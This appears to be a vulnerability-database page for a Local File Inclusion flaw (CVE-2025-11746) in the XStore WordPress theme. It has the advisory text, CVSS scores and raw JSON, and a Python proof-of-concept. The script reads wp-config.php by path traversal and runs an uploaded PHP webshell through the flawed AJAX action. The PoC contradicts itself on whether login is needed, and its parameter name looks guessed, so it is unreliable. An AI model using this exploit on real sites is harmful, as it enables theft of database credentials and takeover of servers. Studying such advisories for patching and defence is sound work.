Security Vulnerability Report
中文
CVE-2025-11746 CVSS 8.8 HIGH

CVE-2025-11746

Published: 2025-10-15 03:15:33
Last Modified: 2026-04-15 00:35:42

Description

The XStore theme for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 9.5.4 via theet_ajax_required_plugins_popup() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

XStore主题 <= 9.5.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11746 - XStore Theme Local File Inclusion PoC # Vulnerability: Unauthenticated file inclusion via et_ajax_required_plugins_popup() # Requirements: Subscriber-level WordPress account import requests # Target configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "subscriber_password" # Step 1: Authenticate to WordPress and obtain session cookies session = requests.Session() login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Exploit LFI via et_ajax_required_plugins_popup AJAX action # The vulnerable parameter allows path traversal to include arbitrary .php files lfi_payload = "../../../wp-config.php" ajax_params = { "action": "et_ajax_required_plugins_popup", "file": lfi_payload # Malicious file path parameter } response = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=ajax_params ) print("[*] Response status:", response.status_code) print("[*] Response body:", response.text[:500]) # Alternative: Include a previously uploaded malicious PHP file # If file upload is available, attacker can upload a PHP webshell # and include it via the LFI vulnerability to achieve RCE malicious_shell_path = "../../../wp-content/uploads/2025/10/shell.php" ajax_params_shell = { "action": "et_ajax_required_plugins_popup", "file": malicious_shell_path } response_shell = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=ajax_params_shell ) print("[*] Shell execution response:", response_shell.text[:500])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11746", "sourceIdentifier": "[email protected]", "published": "2025-10-15T03:15:33.377", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The XStore theme for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 9.5.4 via theet_ajax_required_plugins_popup() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2a49db7f-62fc-472d-9edf-de5edbe48219?source=cve", "source": "[email protected]"}, {"url": "https://xstore.8theme.com/update-history/", "source": "[email protected]"}]}}